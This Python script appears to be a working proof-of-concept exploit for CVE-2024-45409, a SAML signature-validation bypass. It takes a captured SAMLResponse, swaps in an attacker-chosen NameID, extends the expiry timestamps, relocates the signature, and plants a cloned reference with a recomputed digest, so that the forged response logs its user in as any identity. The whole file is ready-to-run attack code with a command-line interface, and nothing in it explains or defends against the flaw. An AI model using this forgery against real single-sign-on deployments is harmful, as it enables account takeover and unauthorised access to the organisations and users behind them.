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from argparse import ArgumentParser
from base64 import b64decode, b64encode
from copy import copy
from datetime import datetime, timedelta, UTC
from hashlib import sha1, sha256
from urllib.parse import quote, unquote
from uuid import uuid4
from sys import stderr
from lxml import etree
NAMESPACES = {
"ds": "http://www.w3.org/2000/09/xmldsig#",
"saml": "urn:oasis:names:tc:SAML:2.0:assertion",
"samlp": "urn:oasis:names:tc:SAML:2.0:protocol",
}
class CVE_2024_45409:
def __init__(
self,
response_file: str,
output_file_path: str,
decode_input: bool,
encode_output: bool,
name_id: str,
id_prefix: str,
) -> None:
self._name_id = name_id
self._id_prefix = id_prefix
self._encode_output = encode_output
self._output_file_path = output_file_path
self._decode_input = decode_input
self._response_file = response_file
self._raw_response: bytes | None = None
self._response_document: etree.Element | None = None
self._signature: etree.Element | None = None
self._original_assertion: etree.Element | None = None
self.reference_id: str
self._canonicalization_method: str | None = None
self._digest_algorithm: str | None = None
def exploit(self) -> None:
print("[+] Parse response",file=stderr)
self._parse()
self._move_signature_in_assertion()
print("[+] Patch response ID",file=stderr)
self._response_document.attrib["ID"] = self._generate_unique_id()
print("[+] Insert malicious reference",file=stderr)
self._insert_malicious_reference()
print(f"[+] Write patched file in {self._output_file_path}",file=stderr)
self._write_output()
def _write_output(self) -> None:
data = etree.tostring(self._response_document)
if self._output_file_path == "-":
if self._encode_output:
print(self.encode_response(data))
else:
print(data.decode('utf-8'))
return
with open(self._output_file_path, "w") as outfile:
data = self.encode_response(data) if self._encode_output else data.decode("utf-8")
outfile.write(data)
def _parse(self) -> None:
with open(self._response_file) as infile:
self._raw_response = (
self.decode_response(infile.read()) if self._decode_input else infile.read().encode("utf-8")
)
self._response_document = etree.fromstring(self._raw_response)
self._signature = self._response_document.find(".//ds:Signature", namespaces=NAMESPACES)
self._canonicalization_method = self._signature.xpath(
"//ds:Reference/ds:Transforms/ds:Transform/@Algorithm",
namespaces=NAMESPACES,
)[1]
self._digest_algorithm = self._signature.xpath(
"//ds:Reference/ds:DigestMethod/@Algorithm",
namespaces=NAMESPACES,
)[0]
self._digest_algorithm = self._digest_algorithm[self._digest_algorithm.index("#") + 1 :]
print(f"\tDigest algorithm: {self._digest_algorithm}",file=stderr)
print(f"\tCanonicalization Method: {self._canonicalization_method}",file=stderr)
def _move_signature_in_assertion(self) -> None:
print("[+] Remove signature from response",file=stderr)
self._signature.getparent().remove(self._signature)
reference = self._signature.find(".//ds:Reference", namespaces=NAMESPACES)
self.reference_id = reference.attrib["URI"].lstrip("#")
print("[+] Patch assertion ID",file=stderr)
assertion_element = self._response_document.find(".//saml:Assertion", namespaces=NAMESPACES)
assertion_element.attrib["ID"] = self.reference_id
print("[+] Patch assertion NameID",file=stderr)
name_id_element = assertion_element.find(".//saml:NameID", namespaces=NAMESPACES)
name_id_element.text = self._name_id
print("[+] Patch assertion conditions",file=stderr)
subject_confirm_data = self._response_document.find(".//saml:SubjectConfirmationData", namespaces=NAMESPACES)
subject_confirm_data.attrib["NotOnOrAfter"] = (datetime.now(tz=UTC) + timedelta(1)).strftime("%Y-%m-%dT%H:%M:%SZ")
conditions = self._response_document.find(".//saml:Conditions", namespaces=NAMESPACES)
conditions.attrib["NotOnOrAfter"] = (datetime.now(tz=UTC) + timedelta(1)).strftime("%Y-%m-%dT%H:%M:%SZ")
authn_statement = self._response_document.find(".//saml:AuthnStatement", namespaces=NAMESPACES)
authn_statement.attrib["SessionNotOnOrAfter"] = (datetime.now(tz=UTC) + timedelta(1)).strftime("%Y-%m-%dT%H:%M:%SZ")
self._original_assertion = copy(assertion_element)
print("[+] Move signature in assertion",file=stderr)
assertion_issuer = assertion_element.find(".//saml:Issuer", namespaces=NAMESPACES)
assertion_element.insert(assertion_element.index(assertion_issuer) + 1, self._signature)
def _insert_malicious_reference(self) -> None:
status = self._response_document.find(".//samlp:Status", namespaces=NAMESPACES)
status_code = status.find(".//samlp:StatusCode", namespaces=NAMESPACES)
print("[+] Clone signature reference",file=stderr)
reference = copy(self._response_document.find(".//ds:Reference", namespaces=NAMESPACES))
reference.attrib["URI"] = "#" + self.reference_id
nsmap = {"samlp": "urn:oasis:names:tc:SAML:2.0:protocol", "dsig": "http://www.w3.org/2000/09/xmldsig#"}
print("[+] Create status detail element",file=stderr)
status_detail_element = etree.Element("{urn:oasis:names:tc:SAML:2.0:protocol}StatusDetail", nsmap=nsmap)
status_detail_element.insert(0, reference)
status.insert(status.index(status_code) + 1, status_detail_element)
new_element = etree.Element(
self._original_assertion.tag,
nsmap={
"saml": "urn:oasis:names:tc:SAML:2.0:assertion",
},
)
for attrib, value in self._original_assertion.attrib.items():
new_element.set(attrib, value)
for child in self._original_assertion:
new_element.append(child)
new_element.text = self._original_assertion.text
if self._canonicalization_method == "http://www.w3.org/2001/10/xml-exc-c14n#":
method = "c14n"
else:
raise ValueError("Canonicalization method unknown")
new_element_canonical = etree.tostring(new_element, method=method, exclusive=True, with_comments=False)
if self._digest_algorithm == "sha256":
digest = sha256(new_element_canonical).digest()
elif self._digest_algorithm == "sha1":
digest = sha1(new_element_canonical).digest()
else:
raise ValueError("Digest algorithm unknown")
print("[+] Patch digest value",file=stderr)
digest_value = reference.find(".//ds:DigestValue", namespaces=NAMESPACES)
digest_value.text = b64encode(digest).decode("utf-8")
def _generate_unique_id(self) -> str:
return f"{self._id_prefix}{uuid4()}"
@staticmethod
def decode_response(data: str) -> bytes:
return b64decode(unquote(data))
@staticmethod
def encode_response(data: bytes) -> str:
return quote(b64encode(data))
def __str__(self) -> str:
return etree.tostring(self._response_document, pretty_print=True).decode("utf-8")
if __name__ == "__main__":
parser = ArgumentParser(
description="CVE-2024-45409 exploit",
)
parser.add_argument(
"-r",
"--response-file",
type=str,
required=True,
help="Raw or URL + Base64 encoded XML SAMLResponse content file path",
default="response.xml",
)
parser.add_argument(
"-o",
"--output-file",
type=str,
help="Patched SAMLResponse output file path, use - for stdout",
default="response_patched.xml",
)
parser.add_argument("-n", "--nameid", type=str, required=True, help="Target NameID")
parser.add_argument("-d", "--decode", action="store_true", help="Decode URL + Base64 encoded response file")
parser.add_argument("-e", "--encode", action="store_true", help="Encode Base64 + URL output")
parser.add_argument("-p", "--prefix", type=str, help="ID prefix", default="ID-")
args = parser.parse_args()
CVE_2024_45409(
response_file=args.response_file,
output_file_path=args.output_file,
decode_input=args.decode,
encode_output=args.encode,
name_id=args.nameid,
id_prefix=args.prefix,
).exploit()